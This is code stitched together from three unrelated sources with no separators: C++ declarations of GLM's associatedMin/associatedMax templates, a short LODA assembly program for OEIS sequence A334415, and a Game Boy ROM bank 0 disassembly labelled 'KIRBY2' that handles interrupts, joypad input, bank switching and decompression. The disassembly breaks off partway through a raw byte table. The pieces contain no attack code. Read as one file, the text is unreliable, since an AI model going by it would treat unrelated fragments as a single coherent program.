/// Minimum comparison between 2 variables and returns 2 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMin( T x, const vecType<U, P>& a, T y, const vecType<U, P>& b); /// Minimum comparison between 2 variables and returns 2 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMin( vecType<T, P> const & x, U a, vecType<T, P> const & y, U b); /// Minimum comparison between 3 variables and returns 3 associated variable values /// @see gtx_associated_min_max template<typename T, typename U> GLM_FUNC_DECL U associatedMin( T x, U a, T y, U b, T z, U c); /// Minimum comparison between 3 variables and returns 3 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMin( vecType<T, P> const & x, vecType<U, P> const & a, vecType<T, P> const & y, vecType<U, P> const & b, vecType<T, P> const & z, vecType<U, P> const & c); /// Minimum comparison between 4 variables and returns 4 associated variable values /// @see gtx_associated_min_max template<typename T, typename U> GLM_FUNC_DECL U associatedMin( T x, U a, T y, U b, T z, U c, T w, U d); /// Minimum comparison between 4 variables and returns 4 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMin( vecType<T, P> const & x, vecType<U, P> const & a, vecType<T, P> const & y, vecType<U, P> const & b, vecType<T, P> const & z, vecType<U, P> const & c, vecType<T, P> const & w, vecType<U, P> const & d); /// Minimum comparison between 4 variables and returns 4 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMin( T x, vecType<U, P> const & a, T y, vecType<U, P> const & b, T z, vecType<U, P> const & c, T w, vecType<U, P> const & d); /// Minimum comparison between 4 variables and returns 4 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMin( vecType<T, P> const & x, U a, vecType<T, P> const & y, U b, vecType<T, P> const & z, U c, vecType<T, P> const & w, U d); /// Maximum comparison between 2 variables and returns 2 associated variable values /// @see gtx_associated_min_max template<typename T, typename U> GLM_FUNC_DECL U associatedMax(T x, U a, T y, U b); /// Maximum comparison between 2 variables and returns 2 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL tvec2<U, P> associatedMax( vecType<T, P> const & x, vecType<U, P> const & a, vecType<T, P> const & y, vecType<U, P> const & b); /// Maximum comparison between 2 variables and returns 2 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<T, P> associatedMax( T x, vecType<U, P> const & a, T y, vecType<U, P> const & b); /// Maximum comparison between 2 variables and returns 2 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMax( vecType<T, P> const & x, U a, vecType<T, P> const & y, U b); /// Maximum comparison between 3 variables and returns 3 associated variable values /// @see gtx_associated_min_max template<typename T, typename U> GLM_FUNC_DECL U associatedMax( T x, U a, T y, U b, T z, U c); /// Maximum comparison between 3 variables and returns 3 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMax( vecType<T, P> const & x, vecType<U, P> const & a, vecType<T, P> const & y, vecType<U, P> const & b, vecType<T, P> const & z, vecType<U, P> const & c); /// Maximum comparison between 3 variables and returns 3 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<T, P> associatedMax( T x, vecType<U, P> const & a, T y, vecType<U, P> const & b, T z, vecType<U, P> const & c); /// Maximum comparison between 3 variables and returns 3 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMax( vecType<T, P> const & x, U a, vecType<T, P> const & y, U b, vecType<T, P> const & z, U c); /// Maximum comparison between 4 variables and returns 4 associated variable values /// @see gtx_associated_min_max template<typename T, typename U> GLM_FUNC_DECL U associatedMax( T x, U a, T y, U b, T z, U c, T w, U d); /// Maximum comparison between 4 variables and returns 4 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMax( vecType<T, P> const & x, vecType<U, P> const & a, vecType<T, P> const & y, vecType<U, P> const & b, vecType<T, P> const & z, vecType<U, P> const & c, vecType<T, P> const & w, vecType<U, P> const & d); /// Maximum comparison between 4 variables and returns 4 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMax( T x, vecType<U, P> const & a, T y, vecType<U, P> const & b, T z, vecType<U, P> const & c, T w, vecType<U, P> const & d); /// Maximum comparison between 4 variables and returns 4 associated variable values /// @see gtx_associated_min_max template<typename T, typename U, precision P, template <typename, precision> class vecType> GLM_FUNC_DECL vecType<U, P> associatedMax( vecType<T, P> const & x, U a, vecType<T, P> const & y, U b, vecType<T, P> const & z, U c, vecType<T, P> const & w, U d); /// @} } //namespace glm #include "associated_min_max.inl"
; A334415: Nearest integer to n*(2-phi), where phi is the golden ratio (A001622). ; 0,0,1,1,2,2,2,3,3,3,4,4,5,5,5,6,6,6,7,7,8,8,8,9,9,10,10,10,11,11,11,12,12,13,13,13,14,14,15,15,15,16,16,16,17,17,18,18,18,19,19,19,20,20,21,21,21,22,22,23,23,23,24,24,24,25,25,26,26,26,27,27 mov $3,$0 add $0,4 mul $3,4 div $3,17 sub $0,$3 lpb $0 add $2,2 sub $2,$0 mov $0,$4 div $2,2 lpe add $2,1 sub $1,$2
SECTION "ROM Bank 00", ROM0[$00] RST_0000: nop nop nop nop nop nop nop nop RST_0008: nop nop nop nop nop nop nop nop RST_0010: ld b, b nop nop nop nop nop nop nop RST_0018: nop nop nop nop nop nop nop nop RST_0020: rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 RST_0028: rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 RST_0030: rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 rst $38 RST_0038: ret db $FF, $FF, $FF, $FF, $FF, $FF, $FF VBlankInterrupt: push af push hl push bc push de jp vblankHandler db $00 LCDCInterrupt: jp $DA13 db $00, $00, $00, $00, $00 TimerOverflowInterrupt: push af push hl push bc push de jp toc_01_0333 db $00 SerialTransferCompleteInterrupt: reti db $00, $00, $00, $00, $00, $00, $00 JoypadTransitionInterrupt: reti db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $EF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $00 db $00, $00, $00, $00, $00, $00, $00, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF, $FF db $FF, $FF, $FF, $FF, $FF, $FF, $FF Boot: nop jp main HeaderLogo: db $CE, $ED, $66, $66, $CC, $0D, $00, $0B db $03, $73, $00, $83, $00, $0C, $00, $0D db $00, $08, $11, $1F, $88, $89, $00, $0E db $DC, $CC, $6E, $E6, $DD, $DD, $D9, $99 db $BB, $BB, $67, $63, $6E, $0E, $EC, $CC db $DD, $DC, $99, $9F, $BB, $B9, $33, $3E HeaderTitle: db "KIRBY2", $00, $00, $00, $00, $00, $00, $00, $00, $00 HeaderIsColorGB: db not_color_gameboy HeaderNewLicenseeCode: db $30, $31 HeaderSGBFlag: db $03 HeaderCartridgeType: db cartridge_mbc1_ram_battery HeaderROMSize: db romsize_32banks HeaderRAMSize: db ramsize_1bank_ HeaderDestinationCode: db destination_nonjapanese HeaderOldLicenseeCode: db $33 HeaderMaskROMVersion: db $00 HeaderComplementCheck: db $93 HeaderGlobalChecksum: db $DC, $99 main: di changebank $1A jp initialize vblankHandler: __ifNotZero [$FFB5], .else_01_016F .waitForVBlank: ifEq [gbLY], 145, .waitForVBlank ld hl, gbLCDC res 7, [hl] clear [$FFB5] jp toc_00_022B.toc_01_029F .else_01_016F: _ifGte [wQueuedDMATransfer], 1, .else_01_0193 .passC0ToDMATransfer: ld a, $C0 jr z, .startDMATransfer inc a .startDMATransfer: ld [$FF89], a call $FF88 ld a, [wQueuedDMATransfer] dec a ld hl, wScrollPosition1 jr z, .loadScrollPosition ld hl, wScrollPosition2 .loadScrollPosition: ldi a, [hl] ld [gbSCY], a ld a, [hl] ld [gbSCX], a .else_01_0193: ld hl, $CD00 ld c, $47 ldi a, [hl] ld [$ff00+c], a inc c ldi a, [hl] ld [$ff00+c], a inc c ld a, [hl] ld [$ff00+c], a ld a, [$DA27] or a jp z, .else_01_0210 ld [$DA25], sp ld de, $001F bit 2, a jr z, .else_01_01DD bit 0, a jr z, .else_01_01C8 ld a, [$DA23] ld sp, $C200 .loop_01_01BB: pop hl pop bc ld [hl], c inc l ld [hl], b add hl, de pop bc ld [hl], c inc l ld [hl], b dec a jr nz, .loop_01_01BB .else_01_01C8: ld a, [$DA24] ld sp, $C300 .loop_01_01CE: pop hl pop bc ld [hl], c inc l ld [hl], b add hl, de pop bc ld [hl], c inc l ld [hl], b dec a jr nz, .loop_01_01CE jr .toc_01_0207 .else_01_01DD: bit 1, a jr z, .else_01_01F4 ld a, [$DA24] ld sp, $C300 .loop_01_01E7: pop hl pop bc ld [hl], c inc l ld [hl], b add hl, de pop bc ld [hl], c inc l ld [hl], b dec a jr nz, .loop_01_01E7 .else_01_01F4: ld a, [$DA23] ld sp, $C200 .loop_01_01FA: pop hl pop bc ld [hl], c inc l ld [hl], b add hl, de pop bc ld [hl], c inc l ld [hl], b dec a jr nz, .loop_01_01FA .toc_01_0207: ld sp, $DA25 pop hl ld sp, hl clear [$DA27] .else_01_0210: clear [gbLYC] ld hl, $DA14 ld a, $A4 ldi [hl], a ld [hl], $02 ld [$DA18], sp ld sp, $DA1A pop de pop hl ld c, h ld h, $C4 ld a, [$FF92] ld b, a pop af reti toc_00_022B: ld a, l cp b jr z, .else_01_023E .toc_01_022F: ld e, [hl] inc l ld d, [hl] inc l ld c, [hl] inc l .loop_01_0235: ld a, [hl] ld [de], a inc l inc de dec c jr nz, .loop_01_0235 jr toc_00_022B .else_01_023E: di cp b jr z, .else_01_0245 ei jr .toc_01_022F .else_01_0245: ld h, c ld bc, $022B push bc push af push hl push de ld sp, $DA18 pop hl ld sp, hl copyFromTo [wDesiredLYC], [gbLYC] ld hl, $DA14 ld a, [$DA16] ldi [hl], a ld a, [$DA17] ld [hl], a ld hl, gbLCDC __ifNotZero [$DA2B], .else_01_026F res 1, [hl] jr .toc_01_0271 .else_01_026F: set 1, [hl] .toc_01_0271: mask [gbIF], %11111101 mask [gbIE], IE_LCDC | IE_PIN1013TRANSITION | IE_SERIALIO | IE_TIMEROVERFLOW | %11100000 ei call $DA10 clear [wQueuedDMATransfer] assign [$DA0C], $01 .toc_01_028A: ld a, [hLastBank] push af _changebank $00 call toc_01_2BFD pop af call changeBankAndCall.loadBank ld a, [gbIE] or IE_VBLANK ld [gbIE], a .toc_01_029F: pop de pop bc pop hl pop af reti db $61, $F5, $E5, $D5, $18, $A3, $F5, $E5 db $C5, $D5, $21, $40, $FF, $CB, $6E, $28 db $EA, $06, $0F, $00, $05, $20, $FC, $CB db $8E, $3E, $E4, $E0, $47, $C3, $9F, $02 db $F5, $E5, $C5, $D5, $21, $40, $FF, $7E db $CB, $DF, $CB, $8F, $06, $0C, $00, $05 db $20, $FC, $77, $AF, $21, $42, $FF, $22 db $77, $C3, $9F, $02, $F5, $E5, $C5, $D5 db $21, $40, $FF, $7E, $CB, $9F, $CB, $CF db $06, $0C, $00, $05, $20, $FC, $77, $21 db $2E, $DA, $2A, $E0, $42, $7E, $E0, $43 db $21, $14, $DA, $3E, $C4, $22, $36, $02 db $FA, $2A, $DA, $E0, $45, $C3, $9F, $02 LCDCInterruptHandler: push af push hl push bc push de ld a, [$DA2D] ld hl, gbSCX ld b, $0F .wait: nop dec b jr nz, .wait ld [hl], a jp toc_00_022B.toc_01_029F db $F5, $E5, $C5, $D5, $3E, $00, $21, $43 db $FF, $06, $0F, $00, $05, $20, $FC, $77 db $C3, $9F, $02 toc_01_0333: assign [$DA0D], $01 ld a, [gbLCDC] bit 7, a jp z, toc_00_022B.toc_01_028A jp toc_00_022B.toc_01_029F LCDInterruptTrampolineReturn: ret toc_01_0343: ld hl, $DA0C .toc_01_0346: di bit 0, [hl] jr nz, .else_01_034F halt ei jr .toc_01_0346 .else_01_034F: ei ld [hl], $00 incAddr $DA0E ret toc_01_0357: copyFromTo [wJoypadStorage], [$FF84] ld a, [$DEED] or a jr nz, .else_01_0369 ld b, $01 ld hl, wJoypadStorage jr .readJoypad .else_01_0369: ld a, [$DA38] or a ret nz ld b, $02 ld a, [gbP1] ld c, a jr .toc_01_037A .loop_01_0375: ld a, [gbP1] cp c jr z, .else_01_03B2 .toc_01_037A: cpl and %00000011 add a, a add a, a ld e, a ld d, $00 ld hl, wJoypadStorage add hl, de .readJoypad: ld e, [hl] assign [gbP1], JOYPAD_BUTTONS ld a, [gbP1] ld a, [gbP1] swap a and JOYPAD_BUTTONS | JOYPAD_DIRECTIONS | %11000000 ld d, a assign [gbP1], JOYPAD_DIRECTIONS ld a, [gbP1] ld a, [gbP1] ld a, [gbP1] ld a, [gbP1] ld a, [gbP1] ld a, [gbP1] and %00001111 or d cpl call joypadHandler assign [gbP1], JOYPAD_BUTTONS | JOYPAD_DIRECTIONS dec b jr nz, .loop_01_0375 .else_01_03B2: ld a, [$DA3A] or a jp z, .else_01_03F8 ld hl, $DA3C ldi a, [hl] ld b, [hl] ld c, a cp $FE jr nz, .else_01_03CA ld a, b cp $BE jr nz, .else_01_03CA dec bc dec bc .else_01_03CA: ifNe [$DA3A], $02, .else_01_03D1 .else_01_03D1: ld a, [$DA3B] dec a jr nz, .else_01_03E2 inc bc inc bc inc bc ld a, [bc] dec bc ld hl, $DA3C ld [hl], c inc hl ld [hl], b .else_01_03E2: ld [$DA3B], a ld a, [$FFA5] ld e, a ld a, [bc] ld hl, $FFA5 call joypadHandler ld b, $04 ld hl, $DA42 ld c, $A9 jr .loop_01_03FF .else_01_03F8: ld b, $08 ld hl, wJoypadStorage ld c, $A5 .loop_01_03FF: ldi a, [hl] ld [$ff00+c], a inc c dec b jr nz, .loop_01_03FF ld a, [$FFA5] cp $0F ret nz ld a, [$FFA6] cp $0F ret z or a ret z ld e, $34 cbcallNoInterrupts $1E, $6002 jp main joypadHandler: ld d, a ldi [hl], a xor e and d ldi [hl], a jr z, .checkCounter ldi [hl], a ld [hl], $14 ret .checkCounter: inc hl or [hl] jr z, .resetCounter dec [hl] dec hl ld [hl], $00 ret .resetCounter: ld [hl], $03 dec hl ld [hl], d ret toc_01_0437: call toc_01_0496 call toc_01_04AE call toc_01_0343 ld d, $01 cbcallNoInterrupts $1E, $5FEB cbcallNoInterrupts $1E, $5DFF .toc_01_0452: assign [$FFB5], $01 .loop_01_0456: ld a, [$FFB5] or a jr nz, .loop_01_0456 di ld hl, gbIF res 0, [hl] res 1, [hl] assign [gbTIMA], $FF assign [gbTAC], $04 ei ret toc_01_046D: call toc_01_0483 cbcallNoInterrupts $1E, $5DFF ld d, $00 cbcallNoInterrupts $1E, $5FEB ret toc_01_0483: ld hl, $DA0D ld [hl], $00 .loop_01_0488: halt bit 0, [hl] jr z, .loop_01_0488 clear [gbTAC] ld hl, gbLCDC set 7, [hl] ret toc_01_0496: ld a, [$DA28] ld de, $DA23 rra jr nc, .else_01_04A0 inc de .else_01_04A0: clear [$DA09] ld [$DA22], a ld [de], a ld hl, $DA06 ldi [hl], a ld [hl], a ret toc_01_04AE: ld a, [$DA08] ld c, a ld h, a ld de, $DA0A rra jr nc, .else_01_04BA inc de .else_01_04BA: ld a, [de] ld b, a ld a, [$DA09] ld l, a ld [de], a sub a, b jr nc, .else_01_04CA ld b, a xor a .loop_01_04C6: ldi [hl], a inc b jr nz, .loop_01_04C6 .else_01_04CA: srl h ld hl, wScrollPosition1 jr nc, .else_01_04D4 ld hl, wScrollPosition2 .else_01_04D4: ld a, [$DA00] ld b, a ld a, [$DA06] add a, b ldi [hl], a ld a, [$DA01] ld b, a ld a, [$DA07] add a, b ldi [hl], a ld a, [$DA28] ld b, a ld de, $DA23 rra jr nc, .else_01_04F1 inc de .else_01_04F1: ld a, [de] or a jr z, .else_01_050E bit 0, b ld hl, $DA27 di jr nz, .else_01_0503 set 0, [hl] res 2, [hl] jr .toc_01_0507 .else_01_0503: set 1, [hl] set 2, [hl] .toc_01_0507: ei ld a, b xor %00000001 ld [$DA28], a .else_01_050E: ld a, c and %00000001 inc a ld [wQueuedDMATransfer], a ld a, c xor %00000001 ld [$DA08], a ret toc_01_051C: ld a, [$DA09] rrca rrca add a, [hl] cp $29 ret nc ld a, [de] dec e or a jr z, .else_01_0532 inc a ret nz ld a, [de] cp $C0 ret c jr .toc_01_0536 .else_01_0532: ld a, [de] cp $C0 ret nc .toc_01_0536: add a, $10 ld c, a dec e ld a, [de] dec e or a jr z, .else_01_0547 inc a ret nz ld a, [de] cp $CC ret c jr .toc_01_054B .else_01_0547: ld a, [de] cp $CC ret nc .toc_01_054B: add a, $08 ld b, a inc hl ld a, [$DA08] ld d, a ld a, [$DA09] ld e, a ld a, [$FF93] rla jr c, .else_01_058B .loop_01_055C: ldi a, [hl] add a, c cp $A0 jr nc, .else_01_0581 ld [de], a inc e ldi a, [hl] add a, b cp $A8 jr nc, .else_01_0586 ld [de], a inc e ld a, [$FF94] add a, [hl] inc hl ld [de], a inc e ld a, [$FF95] xor [hl] inc hl ld [de], a inc e .toc_01_0578: bit 0, a jr z, .loop_01_055C ld a, e ld [$DA09], a ret .else_01_0581: inc hl inc hl ldi a, [hl] jr .toc_01_0578 .else_01_0586: dec e inc hl ldi a, [hl] jr .toc_01_0578 .else_01_058B: ldi a, [hl] add a, c cp $A0 jr nc, .else_01_05B5 ld [de], a inc e ldi a, [hl] cpl sub a, $07 add a, b cp $A8 jr nc, .else_01_05BA ld [de], a inc e ld a, [$FF94] add a, [hl] inc hl ld [de], a inc e ld a, [$FF95] xor [hl] xor %00100000 inc hl ld [de], a inc e .toc_01_05AC: bit 0, a jr z, .else_01_058B ld a, e ld [$DA09], a ret .else_01_05B5: inc hl inc hl ldi a, [hl] jr .toc_01_05AC .else_01_05BA: dec e inc hl ldi a, [hl] jr .toc_01_05AC toc_01_05BF: ld [hDesiredBankChange], a ld a, [hLastBank] push af ld a, [hDesiredBankChange] call cbcallWithoutInterrupts.loadBank call memcpy pop af jr cbcallWithoutInterrupts.loadBank cbcallWithoutInterrupts: ld [hDesiredBankChange], a ld a, [hLastBank] push af ld a, [hDesiredBankChange] call .loadBank call toc_01_0620 pop af .loadBank: di ld [$2100], a ld [hLastBank], a ei ret changeBankAndCall: ld [hDesiredBankChange], a ld a, [hLastBank] push af ld a, [hDesiredBankChange] call .loadBank call toc_01_0620 pop af .loadBank: ld [$2100], a ld [hLastBank], a ret toc_01_05F9: di ld a, l ld [wStashL], a ld a, h ld [wStashH], a ei ret stashHL: ld a, l ld [wStashL], a ld a, h ld [wStashH], a ret toc_01_060D: ld [hDesiredBankChange], a ld a, [hLastBank] push af ld a, [hDesiredBankChange] call cbcallWithoutInterrupts.loadBank call decompressHAL pop af jr cbcallWithoutInterrupts.loadBank db $CD, $DD, $05 toc_01_0620: jp hl memcpy: inc b inc c jr .startCopying .copy: ldi a, [hl] ld [de], a inc de .startCopying: dec c jr nz, .copy dec b jr nz, .copy ret memset: inc b inc c jr .toc_01_0634 .loop_01_0633: ldi [hl], a .toc_01_0634: dec c jr nz, .loop_01_0633 dec b jr nz, .loop_01_0633 ret db $CD, $47, $06, $C5, $47, $4B, $CD, $85 db $28, $78, $C1, $C9 toc_01_0647: push de push hl ld hl, $DA30 ldi a, [hl] ld h, [hl] ld l, a ld d, h ld e, l add hl, hl add hl, hl add hl, de ld de, $3711 add hl, de ld a, l ld [$DA30], a ld a, h ld [$DA31], a pop hl pop de ret toc_01_0663: ld hl, $066D add a, l ld l, a jr nc, .else_01_066B inc h .else_01_066B: ld a, [hl] ret db $01, $02, $04, $08, $10, $20, $40, $80 toc_01_0675: push de add a, $03 ld e, a ld a, [$FF92] ld d, a ld a, [$DA1C] sub a, d dec a cp e pop de ret toc_01_0684: ld a, [wQueuedDMATransfer] or a jr nz, .else_01_0693 ld a, [$DA39] or a ret z clear [$DA39] .else_01_0693: ld hl, $DA33 dec [hl] ret nz ifNe [$DA34], $0C, .else_01_06BF ld e, a ld d, $CD ld a, [$DA38] or a jr nz, .else_01_06C9 ld hl, $CD00 ld a, [de] inc e ldi [hl], a ld a, [de] inc e ldi [hl], a ld a, [de] inc e ld [hl], a ld a, e ld [$DA34], a .toc_01_06B8: copyFromTo [$DA32], [$DA33] ret .else_01_06BF: xor a .toc_01_06C0: ld [$DA36], a ld hl, $0342 jp stashHL .else_01_06C9: ld a, [$CD0C] or a jr nz, .else_01_06D5 clear [$DA38] jr .toc_01_06C0 .else_01_06D5: dec a ld [$CD0C], a jr nz, .else_01_06EF ifNe [$DA37], $FF, .else_01_06EF cp $01 ld a, $FF jr z, .else_01_06E9 xor a .else_01_06E9: ld hl, $CD00 ldi [hl], a ldi [hl], a ld [hl], a .else_01_06EF: ld a, [de] ld h, a inc e ld a, e ld [$DA34], a ld a, [hLastBank] push af _changebank $1E ld e, h call toc_1E_600C pop af call changeBankAndCall.loadBank jr .toc_01_06B8 decompressHAL: ld a, e ld [$FF97], a ld a, d ld [$FF98], a .readCommandByte: ld a, [hl] cp $FF ret z and %11100000 cp $E0 jr nz, .else_01_0728 .readLongCommand: ld a, [hl] add a, a add a, a add a, a and %11100000 push af ldi a, [hl] and %00000011 ld b, a ldi a, [hl] ld c, a inc bc jr .toc_01_0730 .else_01_0728: push af ldi a, [hl] and %00011111 ld c, a ld b, $00 inc c .toc_01_0730: inc b inc c pop af bit 7, a jr nz, .else_01_077B cp $20 jr z, .fill cp $40 jr z, .else_01_075B cp $60 jr z, .else_01_076E .copyBytes: dec c jr nz, .else_01_074A dec b jp z, .readCommandByte .else_01_074A: ldi a, [hl] ld [de], a inc de jr .copyBytes .fill: ldi a, [hl] .whilePixelsRemain: dec c jr nz, .paintPixel dec b jp z, .readCommandByte .paintPixel: ld [de], a inc de jr .whilePixelsRemain .else_01_075B: dec c jr nz, .else_01_0762 dec b jp z, .else_01_076A .else_01_0762: ldi a, [hl] ld [de], a inc de ldd a, [hl] ld [de], a inc de jr .else_01_075B .else_01_076A: inc hl inc hl jr .readCommandByte .else_01_076E: ldi a, [hl] .toc_01_076F: dec c jr nz, .else_01_0776 dec b jp z, .readCommandByte .else_01_0776: ld [de], a inc de inc a jr .toc_01_076F .else_01_077B: push hl push af ldi a, [hl] ld l, [hl] ld h, a ld a, [$FF97] add a, l ld l, a ld a, [$FF98] adc h ld h, a pop af cp $80 jr z, .else_01_0795 cp $A0 jr z, .else_01_07A0 cp $C0 jr z, .else_01_07B2 .else_01_0795: dec c jr nz, .else_01_079B dec b jr z, .else_01_07BE .else_01_079B: ldi a, [hl] ld [de], a inc de jr .else_01_0795 .else_01_07A0: dec c jr nz, .else_01_07A7 dec b jp z, .else_01_07BE .else_01_07A7: ldi a, [hl] push hl ld h, $D9 ld l, a ld a, [hl] pop hl ld [de], a inc de jr .else_01_07A0 .else_01_07B2: dec c jr nz, .else_01_07B9 dec b jp z, .else_01_07BE .else_01_07B9: ldd a, [hl] ld [de], a inc de jr .else_01_07B2 .else_01_07BE: pop hl inc hl inc hl jp .readCommandByte toc_01_07C4: ld [$FF84], a push de push bc ld b, h ld c, l call toc_01_0B94 jr nc, .else_01_07D8 pop hl pop de ld h, $00 ld a, h ld [$DA4A], a ret .else_01_07D8: ld a, h ld [$DA4A], a ld l, $22 ld [hl], $42 inc l ld [hl], $03 ld a, $80 ld l, $03 ld [hl], a ld l, $06 ld [hl], a pop bc ld l, $04 ld [hl], c inc l ld [hl], b pop bc ld l, $07 ld [hl], c inc l ld [hl], b call toc_01_0C06 ld a, [$FF84] ld l, $00 ld [hl], a ld e, a ld d, $00 sla a rl d add a, e ld e, a ld a, $77 adc d ld d, a xor a ld l, $0D ldi [hl], a ld [hl], a ld l, $0F ldi [hl], a ld [hl], a ld l, $11 ldi [hl], a ld [hl], a ld l, $45 ldi [hl], a ld [hl], a ld l, $4A ldi [hl], a ld [hl], a ld a, $FF ld l, $15 ld [hl], a ld l, $49 ld [hl], a ld l, $48 ld [hl], a copyFromTo [hLastBank], [$FF84] __changebank $07 ld a, [de] ld c, a inc de ld a, [de] ld b, a inc de ld a, [de] ld e, a ld a, [$FF84] call cbcallWithoutInterrupts.loadBank call toc_01_0855 ret db $F0, $9A, $67, $7C, $FE, $A0, $D8, $FE db $B3, $D0, $2E, $00, $7E, $3C, $C8 toc_01_0855: call toc_01_0C2A ld l, $19 ld [hl], e inc l ld [hl], b inc l ld [hl], c xor a ld l, $24 ld [hl], a ld l, $47 ld [hl], a ld l, $28 ld [hl], $39 ret toc_01_086B: ld a, [$DA46] jr .toc_01_087F .loop_01_0870: ld [$FF9A], a ld h, a ld l, $01 ld a, [hl] ld [$DA49], a call toc_01_08A1 ld a, [$DA49] .toc_01_087F: or a jr nz, .loop_01_0870 ld a, [$DA46] jr .toc_01_089D .loop_01_0887: ld [$FF9A], a ld d, a ld e, $01 ld a, [de] ld [$DA49], a ld e, $22 ld a, [de] ld l, a inc e ld a, [de] ld h, a call toc_01_0620 ld a, [$DA49] .toc_01_089D: or a jr nz, .loop_01_0887 ret toc_01_08A1: ld l, $19 assign [$FF9B], $24 ld e, a .toc_01_08A8: ldi a, [hl] ld b, a and %10100000 jr nz, .else_01_08B9 bit 6, b jr nz, toc_01_08DE ld d, h ld a, [de] or a jr z, .else_01_08C6 dec a ld [de], a .else_01_08B9: inc l inc l .toc_01_08BB: returnIfGte [$FF9B], $26 inc a ld [$FF9B], a ld e, a jr .toc_01_08A8 .else_01_08C6: ld a, b call cbcallWithoutInterrupts.loadBank ldi a, [hl] ld b, a ld c, [hl] push hl ld a, [bc] inc bc add a, a ld h, $3F ld l, a ldi a, [hl] ld h, [hl] ld l, a jp hl db $E1, $71, $2D, $70, $18, $DB toc_01_08DE: ld a, b and %00011111 call cbcallWithoutInterrupts.loadBank ldi a, [hl] ld b, a ldi a, [hl] push hl ld d, h ld l, a ld h, b call toc_01_0620 pop hl jr toc_01_08A1.toc_01_08BB db $62, $D5, $CD, $BA, $0B, $D1, $C3, $D8 db $08, $F0, $9B, $D6, $24, $6F, $87, $85 db $C6, $19, $6F, $62, $CB, $FE, $C3, $D8 db $08, $F0, $9B, $5F, $0A, $03, $3D, $12 db $C3, $D8, $08, $62, $F0, $9B, $6F, $1E db $27, $1A, $3D, $77, $C3, $D8, $08, $0A db $03, $1E, $15, $12, $C3, $CE, $08, $0A db $03, $1E, $15, $12, $F0, $9B, $5F, $0A db $03, $3D, $12, $C3, $D8, $08, $0A, $03 db $5F, $0A, $03, $12, $C3, $CE, $08, $0A db $03, $5F, $1A, $1E, $27, $12, $C3, $CE db $08, $0A, $03, $5F, $62, $2E, $27, $7E db $12, $C3, $CE, $08, $1E, $25, $AF, $12 db $62, $2E, $1E, $0A, $03, $32, $0A, $03 db $32, $0A, $03, $77, $C3, $CE, $08, $1E db $26, $AF, $12, $62, $62, $2E, $21, $0A db $03, $32, $0A, $03, $32, $0A, $03, $77 db $C3, $CE, $08, $1E, $22, $0A, $03, $12 db $1C, $0A, $03, $12, $C3, $CE, $08, $62 db $2E, $18, $0A, $03, $32, $0A, $03, $32 db $0A, $03, $77, $C3, $CE, $08, $0A, $03 db $5F, $0A, $47, $4B, $C3, $CE, $08, $0A db $03, $6F, $0A, $03, $67, $F0, $9B, $D6 db $24, $5F, $87, $83, $C6, $19, $5F, $0A db $12, $CD, $DD, $05, $44, $4D, $C3, $CE db $08, $1E, $27, $1A, $B7, $20, $09, $0A db $03, $5F, $0A, $47, $4B, $C3, $CE, $08 db $03, $03, $C3, $CE, $08, $1E, $27, $1A db $B7, $28, $09, $0A, $03, $5F, $0A, $47 db $4B, $C3, $CE, $08, $03, $03, $C3, $CE db $08, $60, $69, $1E, $27, $1A, $BE, $30 db $07, $23, $2A, $4F, $46, $C3, $CE, $08 db $03, $03, $03, $C3, $CE, $08, $60, $69 db $1E, $27, $1A, $BE, $38, $07, $23, $2A db $4F, $46, $C3, $CE, $08, $03, $03, $03 db $C3, $CE, $08, $1E, $0D, $0A, $03, $12 db $1C, $0A, $03, $12, $C3, $CE, $08, $1E db $0F, $0A, $03, $12, $1C, $0A, $03, $12 db $C3, $CE, $08, $AF, $62, $2E, $0D, $22 db $77, $2E, $0F, $22, 